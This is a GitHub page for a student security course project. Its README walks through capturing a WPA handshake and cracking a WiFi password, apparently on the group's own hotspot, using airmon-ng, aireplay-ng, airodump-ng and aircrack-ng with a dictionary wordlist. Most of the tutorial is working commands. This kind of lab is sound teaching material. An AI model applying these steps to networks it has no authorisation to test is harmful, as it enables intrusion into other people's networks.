https://github.com/mohamedelbachir/group-8-system-security-and-network
Group 8 for course System Security and Network
https://github.com/mohamedelbachir/group-8-system-security-and-network
attack attack-defense network security
Last synced: 4 months ago
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Group 8 for course System Security and Network
- Host: GitHub
- URL: https://github.com/mohamedelbachir/group-8-system-security-and-network
- Owner: mohamedelbachir
- Created: 2023-04-20T14:18:14.000Z (over 3 years ago)
- Default Branch: main
- Last Pushed: 2023-04-26T03:20:24.000Z (about 3 years ago)
- Last Synced: 2025-01-29T04:22:29.248Z (over 1 year ago)
- Topics: attack, attack-defense, network, security
- Homepage:
- Size: 5.86 KB
- Stars: 2
- Watchers: 2
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
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README
# Group-8-System-Security-and-NetWork
Group 8 for course System Security and Network
## Table of contents
- [Wifi Attack](#wifi-attack)
## Requirements
- Os : **Kali Lunix** (for this pratice) , **Ubuntu** , other linux distribution
## Wifi Attack
📢JUST FOR EDUCATIONNAL PURPOSE📢
>**Prerequisites**
>We need to have *hostpot* (wifi name (**ssid**)) available in this case we just put sample password (**1234567890**)
To start open your terminal and type the command bellow :
```console
ifconfig
```
or
```console
iwconfig
```
> Those commands allow you to list all network interface available and to apply the attack we focus on *wlan0* interface (wireless network)
Next
This command stops network managers then kill interfering processes left
**Note:** It is very important to kill the network managers before putting a card in monitor mode!
```console
sudo airmon-ng check kill
```
Now we start *monitoring mode* on our card :
```console
$ sudo airmon-ng start wlan0
```
Next
```console
sudo aireplay-ng -9 wlan0mon
```
So we have to use the ``wlan0mon`` interface to see all the access points around us and what is being done in these different access points.We see "Â **injection is working** " and we have the access points that are displayed. We are interested in the access point "TECNO SPARK 6 Air" and you see that each access point operates in a specific channel. For us it is ``channel 13``.
Next
```console
sudo aireplay-ng -9 wlan0mon
sudo airodump-ng -c 13 --bssid 76:C7:DA:D8:1A:AD -w group8 wlan0mon
```
Here we will copy the ``bssid`` which is the ``Mac address`` of our access point and we will execute the airodum-ng command with the precise parameters as follows: in the terminal, it will generate traffic at the access point location Â
While the packets are going through, when someone is going to connect. And we'll see that it will have change, we'll see a **handshake** that confirms that there is a client that wanted to connect to our access point.
Finally,
```console
sudo aircrack-ng -w /usr/share/metasploit-framework/data/wordlists/password.lst group8-01.cap
```
And now we will use the ``aircrack`` command that allows us to crack the password that relies on a file that contains a set of predefined passwords to retrieve the password entered. After validating, we see the password appear in the dictionnary ``password`` which is not very **huge**.